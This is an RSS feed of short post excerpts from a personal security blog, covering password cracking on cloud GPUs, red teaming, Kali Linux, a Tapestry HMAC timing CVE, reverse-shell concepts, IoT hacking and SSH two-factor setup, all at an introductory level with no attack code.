<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Security on System Overlord</title><link>https://systemoverlord.com/tags/security.html</link><description>Recent content in Security on System Overlord</description><generator>Hugo</generator><language>en-us</language><managingEditor>david@systemoverlord.com (David Tomaschik)</managingEditor><webMaster>david@systemoverlord.com (David Tomaschik)</webMaster><lastBuildDate>Sat, 05 Jun 2021 00:00:00 +0000</lastBuildDate><atom:link href="https://systemoverlord.com/tags/security/index.xml" rel="self" type="application/rss+xml"/><item><title>GPU Accelerated Password Cracking in the Cloud: Speed and Cost-Effectiveness</title><link>https://systemoverlord.com/2021/06/05/gpu-accelerated-password-cracking-in-the-cloud.html</link><pubDate>Sat, 05 Jun 2021 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2021/06/05/gpu-accelerated-password-cracking-in-the-cloud.html</guid><description>&lt;p&gt;&lt;em&gt;Note: Though this testing was done on Google Cloud and I work at Google, this
work and blog post represent my personal work and do not represent the views of
my employer.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As a red teamer and security researcher, I occasionally find the need to crack
some hashed passwords. It used to be that &lt;a href="https://www.openwall.com/john/"&gt;John the
Ripper&lt;/a&gt; was the go-to tool for the job. With
the advent of GPGPU technologies like CUDA and OpenCL,
&lt;a href="https://hashcat.net/hashcat/"&gt;hashcat&lt;/a&gt; quickly eclipsed John for pure speed.
Unfortunately, &lt;a href="https://www.bbc.com/news/technology-55755820"&gt;graphics cards are a bit hard to come by in
2021&lt;/a&gt;. I decided to take a look
at the options for running &lt;code&gt;hashcat&lt;/code&gt; on Google Cloud.&lt;/p&gt;</description></item><item><title>Hacker Holiday Gift Guide - 2020 Edition</title><link>https://systemoverlord.com/2020/11/26/hacker-holiday-gift-guide-2020-edition.html</link><pubDate>Thu, 26 Nov 2020 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2020/11/26/hacker-holiday-gift-guide-2020-edition.html</guid><description>&lt;p&gt;Welcome to the 2020 edition of my Hacker Holiday Gift Guide! This has been a
trying year for all of us, but I sincerely hope you and your family are happy
and healthy as this year comes to an end.&lt;/p&gt;
&lt;h2 id="table-of-contents"&gt;Table of Contents&lt;/h2&gt;
&lt;p&gt;{:.no_toc}&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TOC
{:toc}&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="general-security"&gt;General Security&lt;/h2&gt;
&lt;h3 id="protonmail-subscription"&gt;ProtonMail Subscription&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ProtonMail&lt;/strong&gt; is a great encrypted mail provider for those with an interest in
privacy or cryptography. They offer &lt;a href="https://shop.protonmail.com/collections/proton-gift-cards"&gt;gift
cards&lt;/a&gt; for
subscriptions to both ProtonMail and ProtonVPN, their VPN service.&lt;/p&gt;</description></item><item><title>Security 101: Beginning with Kali Linux</title><link>https://systemoverlord.com/2020/07/03/security-101-beginning-with-kali-linux.html</link><pubDate>Fri, 03 Jul 2020 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2020/07/03/security-101-beginning-with-kali-linux.html</guid><description>&lt;p&gt;I&amp;rsquo;ve found a lot of people who are new to security, particularly those with an
interest in penetration testing or red teaming, install &lt;a href="https://kali.org"&gt;Kali
Linux&lt;/a&gt;™&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt; as one of their first forays into the
&amp;ldquo;hacking&amp;rdquo; world. In general, there&amp;rsquo;s absolutely nothing wrong with that.
Unfortunately, I also see many who end up stuck on this journey: either stuck in
the setup/installation phase, or just not knowing what to do once they get into
Kali.&lt;/p&gt;
&lt;p&gt;This isn&amp;rsquo;t going to be a tutorial about how to use the tools within Kali (though
I hope to get to some of them eventually), but it will be a tour of the
operating system&amp;rsquo;s basic options and functionality, and hopefully will help
those new to the distribution get more oriented.&lt;/p&gt;</description></item><item><title>Hacker Culture Reading List</title><link>https://systemoverlord.com/2020/06/26/security-culture-reading-list.html</link><pubDate>Fri, 26 Jun 2020 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2020/06/26/security-culture-reading-list.html</guid><description>&lt;p&gt;A friend recently asked me if I could recommend some reading about hacking and
security culture. I gave a couple of quick answers, but it inspired me to write
a blog post in case anyone else is looking for similar content. Unless
otherwise noted, I&amp;rsquo;ve read all of these books/resources and can recommend them.&lt;/p&gt;</description></item><item><title>Private CA with X.509 Name Constraints</title><link>https://systemoverlord.com/2020/06/14/private-ca-with-x-509-name-constraints.html</link><pubDate>Sun, 14 Jun 2020 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2020/06/14/private-ca-with-x-509-name-constraints.html</guid><description>&lt;p&gt;I wanted to run a small private &lt;a href="https://en.wikipedia.org/wiki/Certificate_authority"&gt;Certificate
Authority&lt;/a&gt; for some of my
internal services. Since these aren&amp;rsquo;t reachable from the internet, and some of
them are on network segments without internet connectivity, using a public ACME
CA like &lt;a href="https://letsencrypt.org/"&gt;Let&amp;rsquo;s Encrypt&lt;/a&gt; was inconvenient. On the
other hand, if I run my own private CA and the keys get compromised, it could be
used to &lt;a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack"&gt;MITM&lt;/a&gt; all my
internet traffic. While that&amp;rsquo;s unlikely to happen, I decided to look for a
better option.&lt;/p&gt;
&lt;p&gt;It turns out that the idea of a &amp;ldquo;limited purpose&amp;rdquo; Certificate Authority is not
new. &lt;a href="https://tools.ietf.org/html/rfc5280"&gt;RFC 5280&lt;/a&gt; provides for something
called &amp;ldquo;Name Constraints&amp;rdquo;, which allow an X.509 CA to have a scope limited to
certain names, including the parent domains of the certificates issued by the
CA. For example, a host constraint of &lt;code&gt;.example.com&lt;/code&gt; allows the CA to issue
certificates for anything under &lt;code&gt;.example.com&lt;/code&gt;, but not any other host. For
other hosts, clients will fail to validate the chain.&lt;/p&gt;
&lt;p&gt;This hasn&amp;rsquo;t always been supported by TLS libraries and browsers, but all current
browsers do support Name Constraints. Consequently, this is an approach to
narrow the risks associated with a CA compromise for hosts other than those
covered by the constraints in the CA certificate.&lt;/p&gt;</description></item><item><title>Book Review: Operator Handbook</title><link>https://systemoverlord.com/2020/05/25/book-review-operator-handbook.html</link><pubDate>Mon, 25 May 2020 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2020/05/25/book-review-operator-handbook.html</guid><description>&lt;p&gt;When Netmux first released the &lt;a href="https://amzn.to/2XrjxNI"&gt;Operator Handbook&lt;/a&gt;, I
had to check it out. I had some initial impressions, but wanted to take some
time to refine my thoughts on it before putting together a full review of the
book. The book review will be a bit short, but that&amp;rsquo;s because this is a rather
straightforward book.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://amzn.to/2XrjxNI"&gt;&lt;img src="https://ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&amp;amp;ASIN=B086SG77HS&amp;amp;Format=_SL160_&amp;amp;ID=AsinImage&amp;amp;MarketPlace=US&amp;amp;ServiceVersion=20070822&amp;amp;WS=1&amp;amp;tag=systemovecom-20&amp;amp;language=en_US" alt="Operator Handbook"&gt;&lt;/a&gt;{:.right}&lt;/p&gt;
&lt;p&gt;I think the first things to know is that this book is &lt;em&gt;strictly&lt;/em&gt; a reference.
There&amp;rsquo;s nothing to read and learn things from in a cohesive way. It would be
like reading a dictionary or a theasaurus &amp;ndash; while you might learn things
reading it, it&amp;rsquo;s not going to be in any meaningful way. There&amp;rsquo;s lots of things
you can learn on a particular very narrow topic, but it is mostly organized to
be &amp;ldquo;in the moment&amp;rdquo;, not as a &amp;ldquo;learning in advance&amp;rdquo; kind of thing.&lt;/p&gt;</description></item><item><title>Everyone in InfoSec Should Know How to Program</title><link>https://systemoverlord.com/2020/05/22/everyone-in-infosec-should-known-how-to-program.html</link><pubDate>Fri, 22 May 2020 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2020/05/22/everyone-in-infosec-should-known-how-to-program.html</guid><description>&lt;p&gt;Okay, I&amp;rsquo;m not going to lie, the title was a bit of clickbait. I don&amp;rsquo;t believe
that everyone in InfoSec really needs to know how to program, just &lt;em&gt;almost&lt;/em&gt;
everyone. Now, before my fellow practitioners jump on me, saying they can do
their job &lt;em&gt;just fine&lt;/em&gt; without programming, I&amp;rsquo;d appreciate you hearing me out.&lt;/p&gt;
&lt;p&gt;So, how&amp;rsquo;d I get on this? Well, a thread on a private Slack discussing whether
Red Team operators should know how to program, followed by people on Reddit
asking if they should know how to program. I thought I&amp;rsquo;d share my views in a
concrete (and longer) format here.&lt;/p&gt;</description></item><item><title>Announcing TIMEP: Test Interface for Multiple Embedded Protocols</title><link>https://systemoverlord.com/2020/05/08/announcing-timep-test-interface-for-multiple-embedded-protocols.html</link><pubDate>Fri, 08 May 2020 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2020/05/08/announcing-timep-test-interface-for-multiple-embedded-protocols.html</guid><description>&lt;p&gt;Today I&amp;rsquo;m releasing a new open source hardware (OSHW) project &amp;ndash; the Test
Interface for Multiple Embedded Protocols (TIMEP). It&amp;rsquo;s based around the FTDI
FT2232H chip and logic level shifters to provide breakouts, buffering, and level
conversion for a number of common embedded hardware interfaces. At present,
this includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SPI&lt;/li&gt;
&lt;li&gt;I2C&lt;/li&gt;
&lt;li&gt;JTAG&lt;/li&gt;
&lt;li&gt;SWD&lt;/li&gt;
&lt;li&gt;UART&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://systemoverlord.com/img/timep/timep.png" alt="TIMEP"&gt;&lt;/p&gt;
&lt;p&gt;This is a revision 4 board, made using &lt;a href="https://oshpark.com"&gt;OSHPark&amp;rsquo;s&lt;/a&gt; &amp;ldquo;After
Dark&amp;rdquo; service &amp;ndash; black substrate, clear solder mask, so you can see every trace
on the board. (Strangely, copper looks very matte under the solder mask,
resulting in more of a tan color than the shiny copper one might expect to see.)&lt;/p&gt;</description></item><item><title>So You Want a Red Team Exercise?</title><link>https://systemoverlord.com/2020/04/17/so-you-want-a-red-team-exercise.html</link><pubDate>Fri, 17 Apr 2020 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2020/04/17/so-you-want-a-red-team-exercise.html</guid><description>&lt;p&gt;I originally wrote this for work, where we get a lot of requests to &amp;ldquo;Red Team&amp;rdquo;
&lt;em&gt;something&lt;/em&gt;. In a lot of these cases, a white box security review or other form
of security testing is more appropriate. Because I&amp;rsquo;d heard through the
grapevine that other Red Teams struggle with the same issues, I wanted to make
it available publicly. Thanks to my management for their support and permission
to take this public!&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;d like to use or adapt this within your organization, feel free, but
please give credit to the Google Red Team.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;We frequently get requests to perform Red Team engagements on various products &amp;amp;
services around our company. These requests often have misconceptions about the
services our team provides. This document is intended to help those seeking a
Red Team engagement have a better understanding of what we do, how we do it, and
why we do it the way we do, and how to engage with us for optimal effectiveness.&lt;/p&gt;</description></item><item><title>CVE-2019-10071: Timing Attack in HMAC Verification in Apache Tapestry</title><link>https://systemoverlord.com/2019/08/23/cve-2019-10071-timing-attack-in-hmac-verification-in-apache-tapestry.html</link><pubDate>Fri, 23 Aug 2019 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2019/08/23/cve-2019-10071-timing-attack-in-hmac-verification-in-apache-tapestry.html</guid><description>&lt;h3 id="description"&gt;Description&lt;/h3&gt;
&lt;p&gt;Apache Tapestry uses HMACs to verify the integrity of objects stored on the
client side. This was added to address the Java deserialization vulnerability
disclosed in CVE-2014-1972. In the fix for the previous vulnerability, the
HMACs were compared by string comparison, which is known to be vulnerable to
timing attacks.&lt;/p&gt;
&lt;h3 id="affected-versions"&gt;Affected Versions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Apache Tapestry 5.3.6 through current releases.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mitigation"&gt;Mitigation&lt;/h3&gt;
&lt;p&gt;No new release of Tapestry has occurred since the issue was reported. Affected
organizations may want to consider locally applying commit
d3928ad44714b949d247af2652c84dae3c27e1b1.&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2019: CTFs for Fun &amp; Profit</title><link>https://systemoverlord.com/2019/08/19/hacker-summer-camp-2019-ctfs-for-fun-and-profit.html</link><pubDate>Mon, 19 Aug 2019 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2019/08/19/hacker-summer-camp-2019-ctfs-for-fun-and-profit.html</guid><description>&lt;p&gt;Okay, I&amp;rsquo;m back from Summer Camp and have caught up (slightly) on life. I had
the privilege of giving a talk at BSidesLV entitled &amp;ldquo;CTFs for Fun and Profit:
Playing Games to Build Your Skills.&amp;rdquo; I wanted to post a quick
&lt;a href="https://systemoverlord.com/static/attachments/ctfs_for_fun_and_profit.pdf"&gt;link to my slides&lt;/a&gt; and talk
about the IoT CTF I had the chance to play.&lt;/p&gt;
&lt;p&gt;I played in the IoT Village CTF at DEF CON, which was interesting because it
uses real-world devices with real-world vulnerabilities instead of the typical
made-up challenges in a CTF. On the other hand, I&amp;rsquo;m a little disappointed that
it seems pretty similar (maybe even the same) year-to-year, not providing much
variety or new learning experiences if you&amp;rsquo;ve played before.&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2019: What I'm Bringing &amp; Protecting Yourself</title><link>https://systemoverlord.com/2019/07/27/hacker-summer-camp-2019-what-im-bringing.html</link><pubDate>Sat, 27 Jul 2019 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2019/07/27/hacker-summer-camp-2019-what-im-bringing.html</guid><description>&lt;p&gt;I&amp;rsquo;ve begun to think about what I&amp;rsquo;ll take to Hacker Summer Camp this year, and I
thought I&amp;rsquo;d share some of it as part of my Hacker Summer Camp blog post series.
I hope it will be useful to veterans, but particularly to first timers who might
have no idea what to expect &amp;ndash; as that&amp;rsquo;s how I felt my first time.&lt;/p&gt;
&lt;p&gt;Since it&amp;rsquo;s gotten so close, I&amp;rsquo;ll also talk about what steps you should take to
protect yourself.&lt;/p&gt;</description></item><item><title>So You Want to Red Team?</title><link>https://systemoverlord.com/2019/03/26/so-you-want-to-red-team.html</link><pubDate>Tue, 26 Mar 2019 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2019/03/26/so-you-want-to-red-team.html</guid><description>&lt;p&gt;So there&amp;rsquo;s a lot of confusion out there about Penetration Testing and Red
Teaming. I wanted to put together a list of resources for those familiar with
infosec or penetration testing who want to get into red teaming or at least get
a better understanding of the methodologies and techniques used by red teamers.&lt;/p&gt;
&lt;p&gt;First, it&amp;rsquo;s important to note that Red Teaming is predominantly comprised of two
things: alternative analysis and adversary simulation. Red teams do not attempt
to find &amp;ldquo;all the vulnerabilities&amp;rdquo; and do not usually try to have a wide breadth
of coverage. Instead, red teams seek to simulate an adversary with a particular
objective, predominantly to act as a &amp;ldquo;sparring partner&amp;rdquo; for blue teams. Keep in
mind, red teams are the only adversary that will debrief with the blue team so
that blue team can figure out what they missed or could have done differently.&lt;/p&gt;
&lt;p&gt;For more about the specific definition of Red Teaming, check out the
presentation &lt;a href="https://www.slideshare.net/TobyKohlenberg/red-teaming-probably-isnt-for-you-81283357"&gt;Red Teaming Probably Isn&amp;rsquo;t For You&lt;/a&gt;
by fellow red teamer Toby Kohlenberg.&lt;/p&gt;</description></item><item><title>Certifications Aren't as Big a Deal as You Think</title><link>https://systemoverlord.com/2019/03/15/certifications-arent-as-big-a-deal-as-you-think.html</link><pubDate>Fri, 15 Mar 2019 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2019/03/15/certifications-arent-as-big-a-deal-as-you-think.html</guid><description>&lt;p&gt;For some reason, security certifications get discussed a lot, particularly in
forums catering to those newer to the industry. (See, for example,
&lt;a href="https://reddit.com/r/asknetsec"&gt;/r/asknetsec&lt;/a&gt;.) Now I&amp;rsquo;m not talking about
business certifications (ISO, etc.) but personal certifications that allegedly
demonstrate some kind of skill on behalf of the individual. There seems to be a
lot of focus on certifications that you &amp;ldquo;need&amp;rdquo; or that will land you your dream
security job.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m going to make the claim that you should stop worrying about certifications
and instead spend your time learning things that will help you in the real
world &amp;ndash; or better yet, actually applying your skills in the real world. There
are likely some people who will strongly disagree with me, and that&amp;rsquo;s good, but
I want it to be a discussion that people think about, instead of just assuming
certifications are some kind of magic wand.&lt;/p&gt;</description></item><item><title>Understanding Shellcode: The Reverse Shell</title><link>https://systemoverlord.com/2018/10/30/understanding-shellcode-the-reverse-shell.html</link><pubDate>Tue, 30 Oct 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/10/30/understanding-shellcode-the-reverse-shell.html</guid><description>&lt;p&gt;A recent conversation with a coworker inspired me to start putting
together a series of blog posts to examine what it is that shellcode does. In
the first installment, I&amp;rsquo;ll dissect the basic reverse shell.&lt;/p&gt;
&lt;p&gt;First, a couple of reminders: shellcode is the machine code that is injected
into the flow of a program as the result of an exploit. It generally must be
position independent as you can&amp;rsquo;t usually control where it will be loaded in
memory. A reverse shell initiates a TCP connection from the compromised host
back to a host under the control of the attacker. It then launches a shell with
which the attacker can interact.&lt;/p&gt;</description></item><item><title>Course Review: Software Defined Radio with HackRF</title><link>https://systemoverlord.com/2018/09/14/course-review-software-defined-radio-with-hackrf.html</link><pubDate>Fri, 14 Sep 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/09/14/course-review-software-defined-radio-with-hackrf.html</guid><description>&lt;p&gt;Over the past two days, I had the opportunity to attend Michael Ossman&amp;rsquo;s course
&amp;ldquo;Software Defined Radio with HackRF&amp;rdquo; at &lt;a href="https://toorcon.org"&gt;Toorcon XX&lt;/a&gt;. This
is a course I&amp;rsquo;ve wanted to take for several years, and I&amp;rsquo;m extremely happy that
I finally had the chance. I wanted to write up a short review for others
considering taking the course.&lt;/p&gt;
&lt;h2 id="course-material"&gt;Course Material&lt;/h2&gt;
&lt;p&gt;The material in the course focuses predominantly on the basics of Software
Defined Radio and Digital Signal Processing. This includes the math necessary
to understand how the DSP handles the signal. The math is presented in a
practical, rather than academic, way. It&amp;rsquo;s not a math class, but a review of
the necessary basics, mostly of complex mathematics and a bit of trigonometry.
(My high school teachers are now vindicated. I did use that math again.)
You don&amp;rsquo;t need the math background coming in, but you do need to be prepared to
think about math during the class. Extracting meaningful information from the
ether is, it turns out, an exercise in mathematics.&lt;/p&gt;</description></item><item><title>"Entry-Level" Security Jobs and Experience</title><link>https://systemoverlord.com/2018/08/27/entry-level-security-jobs-and-experience.html</link><pubDate>Mon, 27 Aug 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/08/27/entry-level-security-jobs-and-experience.html</guid><description>&lt;p&gt;I&amp;rsquo;ve seen a lot of discussion of experience requirements and &amp;ldquo;entry-level&amp;rdquo;
positions in the security industry lately.
&lt;a href="https://www.reddit.com/r/netsecstudents"&gt;/r/netsecstudents&lt;/a&gt; and
&lt;a href="https://www.reddit.com/r/asknetsec"&gt;/r/asknetsec&lt;/a&gt; are full of threads
discussing this topic, and I heard it being discussed at both BSidesLV and DEF
CON this summer. The usual complaint is something along the lines of &amp;ldquo;all the
positions want experience, so how am I supposed to get experience?&amp;rdquo; I&amp;rsquo;m going
to take a stab at addressing this, and hope to at least provide some
understanding.&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2018: Wrap-Up</title><link>https://systemoverlord.com/2018/08/25/hacker-summer-camp-2018-wrap-up.html</link><pubDate>Sat, 25 Aug 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/08/25/hacker-summer-camp-2018-wrap-up.html</guid><description>&lt;p&gt;I meant to write this post much closer to the end of Hacker Summer Camp, but to
be honest, I&amp;rsquo;ve been completely swamped with getting back into the thick of
things. However, I kept feeling like things were &amp;ldquo;unfinished&amp;rdquo;, so I thought I&amp;rsquo;d
throw together at least a few thoughts from this year.&lt;/p&gt;
&lt;h2 id="bsides-las-vegas"&gt;BSides Las Vegas&lt;/h2&gt;
&lt;p&gt;I can&amp;rsquo;t say much about BSides as a whole this year, as I spent the entire time
Gold Teaming for Pros vs Joes CTF. (Gold Team is responsible for running the
game infrastructure, scoreboard, etc.) It was a great experience to be on Gold
Team, but I do miss having a team to support and educate. Overall, the CTF went
&lt;em&gt;fairly&lt;/em&gt; well, but there were a few bumps that I hope we can avoid next year.&lt;/p&gt;</description></item><item><title>I'm the One Who Doesn't Knock: Unlocking Doors From the Network</title><link>https://systemoverlord.com/2018/08/10/im-the-one-who-doesnt-knock-unlocking-doors-from-the-network.html</link><pubDate>Fri, 10 Aug 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/08/10/im-the-one-who-doesnt-knock-unlocking-doors-from-the-network.html</guid><description>&lt;p&gt;&lt;img src="https://systemoverlord.com/img/blog/iot_hacker.png" alt="IoT Hacker"&gt;{:.right}&lt;/p&gt;
&lt;p&gt;Today I&amp;rsquo;m giving a talk in the &lt;a href="https://www.iotvillage.org"&gt;IoT Village&lt;/a&gt; at DEF
CON 26. Though not a &amp;ldquo;main stage&amp;rdquo; talk, this is my first opportunity to speak
at DEF CON. I&amp;rsquo;m really excited, especially with how much I enjoy IoT hacking.
My talk was inspired by the research that lead to
&lt;a href="https://systemoverlord.com/2017/12/18/cve-2017-17704-broken-cryptography-in-istar-ultra-ip-acm-by-software-house.html"&gt;CVE-2017-17704&lt;/a&gt;,
but it&amp;rsquo;s not meant to be a vendor-shaming session. It&amp;rsquo;s meant to be a
discussion of the difficulty of getting physical access control systems that
have IP communications features right. It&amp;rsquo;s meant to show that the designs we
use to build a secure system when you have a classic user interface don&amp;rsquo;t work
the same way in the IoT world.&lt;/p&gt;
&lt;p&gt;(If you&amp;rsquo;re at DEF CON, come check it out at 4:45PM on Friday, August 10 in the
IoT Village.)&lt;/p&gt;</description></item><item><title>Pros vs Joes CTF: The Evolution of Blue Teams</title><link>https://systemoverlord.com/2018/06/19/pros-vs-joes-ctf-the-evolution-of-blue-teams.html</link><pubDate>Tue, 19 Jun 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/06/19/pros-vs-joes-ctf-the-evolution-of-blue-teams.html</guid><description>&lt;p&gt;&lt;a href="http://prosversusjoes.net/"&gt;Pros v Joes CTF&lt;/a&gt; is a CTF that holds a special
place in my heart. Over the years, I&amp;rsquo;ve moved from playing in the 1st CTF as a
day-of pickup player (signing up at the conference) to a Blue Team Pro, to core
CTF staff. It&amp;rsquo;s been an exciting journey, and Red Teaming there is about the
only role I haven&amp;rsquo;t held. (Which is somewhat ironic given that my day job is a
red team lead.) As Blue teams have just formed, and I&amp;rsquo;m not currently attached
to any single team, I wanted to share my thoughts on the evolution of Blue
teaming in this unique CTF. In many ways, this will resemble the &lt;a href="https://systemoverlord.com/2015/08/15/blue-team-players-guide-for-pros-vs-joes-ctf/"&gt;Blue Team
player&amp;rsquo;s guide&lt;/a&gt; I
wrote about 3 years ago, but will be based on the evolution of the game and of
the industry itself. That post remains relevant, and I encourage you to read it
as well.&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2018: Prep Guide</title><link>https://systemoverlord.com/2018/05/26/hacker-summer-camp-2018-prep-guide.html</link><pubDate>Sat, 26 May 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/05/26/hacker-summer-camp-2018-prep-guide.html</guid><description>&lt;p&gt;For those unfamiliar with the term, Hacker Summer Camp is the combination of DEF
CON, Black Hat USA, and BSides Las Vegas that takes place in the hot Las Vegas
sun every summer, along with all the associated parties and side events. It&amp;rsquo;s
the largest gathering of hackers, information security professionals and
enthusiasts, and has been growing for 25 years. In this post, I&amp;rsquo;ll present my
views on how to get the most out of your 2018 trip to the desert, along with
tips &amp;amp; points from some of my friends.&lt;/p&gt;</description></item><item><title>How the Twitter and GitHub Password Logging Issues Could Happen</title><link>https://systemoverlord.com/2018/05/03/how-the-twitter-and-github-password-logging-issues-could-happen.html</link><pubDate>Thu, 03 May 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/05/03/how-the-twitter-and-github-password-logging-issues-could-happen.html</guid><description>&lt;p&gt;There have recently been a couple of highly-publicized (at least in the security
community) issues with two tech giants logging passwords in plaintext. First,
GitHub &lt;a href="https://www.zdnet.com/article/github-says-bug-exposed-account-passwords/"&gt;found they were logging plaintext passwords on password
reset&lt;/a&gt;.
Then, Twitter &lt;a href="https://twitter.com/TwitterSupport/status/992132808192634881"&gt;found they were logging all plaintext
passwords&lt;/a&gt;. Let
me begin by saying that I have no insider knowledge of either bug, and I have
never worked at either Twitter or GitHub, but I enjoy randomly speculating on
the internet, so I thought I would speculate on this. (Especially since the
&lt;a href="https://www.reddit.com/r/netsec/comments/8guet1/twitter_tells_all_330m_users_to_change_passwords/"&gt;/r/netsec thread on the Twitter article&lt;/a&gt; is amazingly full of misconceptions.)&lt;/p&gt;</description></item><item><title>The IoT Hacker's Toolkit</title><link>https://systemoverlord.com/2018/04/16/the-iot-hackers-toolkit.html</link><pubDate>Mon, 16 Apr 2018 12:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/04/16/the-iot-hackers-toolkit.html</guid><description>&lt;p&gt;Today, I&amp;rsquo;m giving a talk entitled &amp;ldquo;The IoT Hacker&amp;rsquo;s Toolkit&amp;rdquo; at
&lt;a href="https://bsidessf.org"&gt;BSides San Francisco&lt;/a&gt;. I thought I&amp;rsquo;d release a companion
blog post to go along with the slide deck. I&amp;rsquo;ll also include a link to the
video once it gets posted online.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TOC
{:toc}&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;From my talk synopysis:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;IoT and embedded devices provide new challenges to security engineers hoping
to understand and evaluate the attack surface these devices add. From new
interfaces to uncommon operating systems and software, the devices require
both skills and tools just a little outside the normal security assessment.
I&amp;rsquo;ll show both the hardware and software tools, where they overlap and what
capabilities each tool brings to the table. I&amp;rsquo;ll also talk about building the
skillset and getting the hands-on experience with the tools necessary to
perform embedded security assessments.&lt;/p&gt;</description></item><item><title>OpenSSH Two Factor Authentication (But Not Service Accounts)</title><link>https://systemoverlord.com/2018/03/03/openssh-two-factor-authentication-but-not-service-accounts.html</link><pubDate>Sat, 03 Mar 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/03/03/openssh-two-factor-authentication-but-not-service-accounts.html</guid><description>&lt;p&gt;Very often, people hear &amp;ldquo;SSH&amp;rdquo; and &amp;ldquo;two factor authentication&amp;rdquo; and assume you&amp;rsquo;re
talking about an SSH keypair that&amp;rsquo;s got the private key protected with a
passphrase. And while this is a reasonable approximation of a two factor
system, it&amp;rsquo;s not &lt;em&gt;actually&lt;/em&gt; two factor authentication because the server is not
using two separate factors to authenticate the user. The only factor is the SSH
keypair, and there&amp;rsquo;s no way for the server to know if that key was protected
with a passphrase. However, OpenSSH has supported true two factor
authentication for nearly 5 years now, so it&amp;rsquo;s quite possible to build even more
robust security.&lt;/p&gt;</description></item><item><title>Preparing for Penetration Testing with Kali Linux</title><link>https://systemoverlord.com/2018/02/14/preparing-for-penetration-testing-with-kali-linux.html</link><pubDate>Wed, 14 Feb 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/02/14/preparing-for-penetration-testing-with-kali-linux.html</guid><description>&lt;p&gt;If you spend any time at all on Reddit or forums for information security
students, you&amp;rsquo;ll find &lt;em&gt;dozens&lt;/em&gt; of questions about preparing for the &lt;a href="https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/"&gt;Penetration
Testing with Kali
Linux&lt;/a&gt; (PWK, aka OSCP) class from Offensive Security.
Likewise, I&amp;rsquo;ve been asked by a number of people I know personally about moving
into the security realm. I figured I&amp;rsquo;d put together some notes on how to
prepare and the knowledge that I believe is necessary to succeed with the PWK
class. Additionally, all of the skills listed here are skills I would expect
